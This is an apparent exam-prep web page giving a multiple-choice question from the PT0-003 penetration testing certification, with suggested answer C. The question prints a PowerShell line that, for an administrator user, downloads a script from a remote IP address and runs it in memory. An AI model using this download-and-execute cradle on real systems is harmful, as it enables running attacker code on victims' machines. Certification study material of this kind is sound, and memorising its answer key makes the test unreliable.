ExamGecko
Question list
Search
Search

List of questions

Search

Related questions











Question 77 - PT0-003 discussion

Report
Export

Given the following script:

$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split('\')[1]

If ($1 -eq 'administrator') {

echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell -noprofile -}

Which of the following is the penetration tester most likely trying to do?

Choose the correct answer

A.
Change the system's wallpaper based on the current user's preferences.
Answers
A.
Change the system's wallpaper based on the current user's preferences.
B.
Capture the administrator's password and transmit it to a remote server.
Answers
B.
Capture the administrator's password and transmit it to a remote server.
C.
Conditionally stage and execute a remote script.
Answers
C.
Conditionally stage and execute a remote script.
D.
Log the internet browsing history for a systems administrator.
Answers
D.
Log the internet browsing history for a systems administrator.
Suggested answer: C
asked 02/10/2024
Flamur Kapaj
44 questions
User
Your answer:
0 comments
Sorted by

Leave a comment first